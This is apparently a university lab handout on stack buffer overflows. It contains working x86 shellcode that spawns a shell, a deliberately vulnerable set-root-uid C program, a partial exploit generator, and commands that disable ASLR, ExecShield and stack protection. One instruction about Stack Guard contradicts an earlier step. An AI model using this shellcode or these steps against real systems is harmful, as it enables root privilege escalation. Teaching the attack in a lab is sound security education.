Lab 2: Buffer Overflow

您所在的位置:网站首页 uid copy Lab 2: Buffer Overflow

Lab 2: Buffer Overflow

#Lab 2: Buffer Overflow| 来源: 网络整理| 查看: 265

Lab 2: Buffer Overflow Out: Oct. 22, 2010 Due: Oct. 29, 2010 Lab Overview

The learning objective of this lab is for students to gain the first-hand experience on buffer-overflow vulnerability by putting what they have learned about the vulnerability from class into actions. Buffer overflow is defined as the condition in which a program attempts to write data beyond the boundaries of pre-allocated fixed length buffers. This vulnerability can be utilized by a malicious user to alter the flow control of the program, even execute arbitrary pieces of code. This vulnerability arises due to the mixing of the storage for data (e.g. buffers) and the storage for controls (e.g. return addresses): an overflow in the data part can affect the control flow of the program, because an overflow can change the return address.

In this lab, students will be given a program with a buffer-overflow vulnerability; their task is to develop a scheme to exploit the vulnerability and finally to gain the root privilege. In addition to the attacks, students will be guided to walk through several protection schemes that have been implemented in Fedora to counter against the buffer-overflow attacks. Students need to evaluate whether the schemes work or not and explain why.

1  Lab Tasks 1.1  Initial setup

You can execute the lab tasks using the preconfigured Ubuntu machine. Ubuntu and several other Linux-based systems uses address space randomization to randomize the starting address of heap and stack. This makes guessing the exact addresses difficult; guessing addresses is one of the critical steps of buffer-overflow attacks. In this lab, we disable these features using the following commands:

$ su root Password: (enter root password) #sysctl -w kernel.randomize_va_space=0 ExecShield Protection:

Fedora linux implements a protection mechanism called ExecShield by default, but Ubuntu systems do not have this protection by default. ExecShield essentially disallows executing any code that is stored in the stack. As a result, buffer-overflow attacks will not work. To disable ExecShield in Fedora, you may use the following command.

$ su root Password: (enter root password) # sysctl -w kernel.exec-shield=0

If you are using a Fedora virtual machine for executing this lab task, please disable exec-shield before doing so.

Moreover, to further protect against buffer overflow attacks and other attacks that use shell programs, many shell programs automatically drop their privileges when invoked. Therefore, even if you can “fool” a privileged Set-UID program to invoke a shell, you might not be able to retain the privileges within the shell. This protection scheme is implemented in /bin/bash. In Ubuntu, /bin/sh is actually a symbolic link to /bin/bash. To see the life before such protection scheme was implemented, we use another shell program (the zsh), instead of /bin/bash. The preconfigured Ubuntu virtual machines contains a zsh installation. If you are using other linux systems that do not contain zsh by default, you have to install zsh for doing the lab. For example, in Fedora linux systems you may use the following procedure to install zsh

$ su Password: (enter root password) # wget ftp://rpmfind.net/linux/fedora/(continue on the next line) core/4/i386/os/Fedora/RPMS/zsh-4.2.1-2.i386.rpm # rpm -ivh zsh-4.2.1-2.i386.rpm

The following instructions describe how to link the zsh program to /bin/sh.

# cd /bin # rm sh # ln -s /bin/zsh /bin/sh

Furthermore, the GCC compiler implements a security mechanism called "Stack Guard" to prevent buffer overflows. In the presence of this protection, buffer overflow will not work. You can disable this protection when you are comiling the program using the switch -fno-stack-protector. For example, to compile a program example.c with Stack Guard disabled, you may use the following command:

gcc -fno-stack-protector example.c 1.2  Shellcode

Before you start the attack, you need a shellcode. A shellcode is the code to launch a shell. It has to be loaded into the memory so that we can force the vulnerable program to jump to it. Consider the following program:

#include int main( ) { char *name[2]; name[0] = "/bin/sh"; name[1] = 0; execve(name[0], name, 0); }

The shellcode that we use is just the assembly version of the above program. The following program shows you how to launch a shell by executing a shellcode stored in a buffer. Please compile and run the following code, and see whether a shell is invoked. (If you are really brave, consult the online Intel x86 manual to understand every instruction.)

/* call_shellcode.c */ /*A program that creates a file containing code for launching shell*/ #include #include const char code[] = "\x31\xc0" /* Line 1: xorl %eax,%eax */ "\x50" /* Line 2: pushl %eax */ "\x68""//sh" /* Line 3: pushl $0x68732f2f */ "\x68""/bin" /* Line 4: pushl $0x6e69622f */ "\x89\xe3" /* Line 5: movl %esp,%ebx */ "\x50" /* Line 6: pushl %eax */ "\x53" /* Line 7: pushl %ebx */ "\x89\xe1" /* Line 8: movl %esp,%ecx */ "\x99" /* Line 9: cdql */ "\xb0\x0b" /* Line 10: movb $0x0b,%al */ "\xcd\x80" /* Line 11: int $0x80 */ ; int main(int argc, char **argv) { char buf[sizeof(code)]; strcpy(buf, code); ((void(*)( ))buf)( ); }

A few places in this shellcode are worth mentioning. First, the third instruction pushes “//sh”, rather than “/sh” into the stack. This is because we need a 32-bit number here, and “/sh” has only 24 bits. Fortunately, “//” is equivalent to “/”, so we can get away with a double slash symbol. Second, before calling the execve() system call, we need to store name[0] (the address of the string), name (the address of the array), and NULL to the %ebx, %ecx, and %edx registers, respectively. Line 5 stores name[0] to %ebx; Line 8 stores name to %ecx; Line 9 sets %edx to zero. There are other ways to set %edx to zero (e.g., xorl %edx, %edx); the one (cdql) used here is simply a shorter instruction. Third, the system call execve() is called when we set %al to 11, and execute “int $0x80”.

1.3  The Vulnerable Program/* stack.c */ /* This program has a buffer overflow vulnerability. */ /* Our task is to exploit this vulnerability */ #include #include #include int bof(char *str) { char buffer[12]; /* The following statement has a buffer overflow problem */ strcpy(buffer, str); return 1; } int main(int argc, char **argv) { char str[517]; FILE *badfile; badfile = fopen("badfile", "r"); fread(str, sizeof(char), 517, badfile); bof(str); printf("Returned Properly\n"); return 1; }

Compile the above vulnerable program and make it set-root-uid. You can achieve this by compiling it in the root account, and chmod the executable to 4755:

$ su root Password (enter root password) # gcc -o stack -fno-stack-protector stack.c # chmod 4755 stack # exit

The above program has a buffer overflow vulnerability. It first reads an input from a file called “badfile”, and then passes this input to another buffer in the function bof(). The original input can have a maximum length of 517 bytes, but the buffer in bof() has only 12 bytes long. Because strcpy() does not check boundaries, buffer overflow will occur. Since this program is a set-root-uid program, if a normal user can exploit this buffer overflow vulnerability, the normal user might be able to get a root shell. It should be noted that the program gets its input from a file called “badfile”. This file is under users’ control. Now, our objective is to create the contents for “badfile”, such that when the vulnerable program copies the contents into its buffer, a root shell can be spawned.

1.4  Task 1: Exploiting the Vulnerability

We provide you with a partially completed exploit code called “exploit.c”. The goal of this code is to construct contents for “badfile”. In this code, the shellcode is given to you. You need to develop the rest.

/* exploit.c */ /* A program that creates a file containing code for launching shell*/ #include #include #include char shellcode[]= "\x31\xc0" /* xorl %eax,%eax */ "\x50" /* pushl %eax */ "\x68""//sh" /* pushl $0x68732f2f */ "\x68""/bin" /* pushl $0x6e69622f */ "\x89\xe3" /* movl %esp,%ebx */ "\x50" /* pushl %eax */ "\x53" /* pushl %ebx */ "\x89\xe1" /* movl %esp,%ecx */ "\x99" /* cdql */ "\xb0\x0b" /* movb $0x0b,%al */ "\xcd\x80" /* int $0x80 */ ; void main(int argc, char **argv) { char buffer[517]; FILE *badfile; /* Initialize buffer with 0x90 (NOP instruction) */ memset(&buffer, 0x90, 517); /* You need to fill the buffer with appropriate contents here */ /* Save the contents to the file "badfile" */ badfile = fopen("./badfile", "w"); fwrite(buffer, 517, 1, badfile); fclose(badfile); }

After you finish the above program, compile and run it. This will generate the contents for “badfile”. Then run the vulnerable program stack. If your exploit is implemented correctly, you should be able to get a root shell:

Important:

Please compile your vulnerable program first. Please note that the program exploit.c, which generates the bad file, can be compiled with the default Stack Guard protection enabled. This is because we are not going to overflow the buffer in this program. We will be overflowing the buffer in stack.c, which is compiled with the default Stack Guard protection enabled.

$ gcc -o exploit exploit.c $./exploit // create the badfile $./stack // launch the attack by running the vulnerable program #


【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3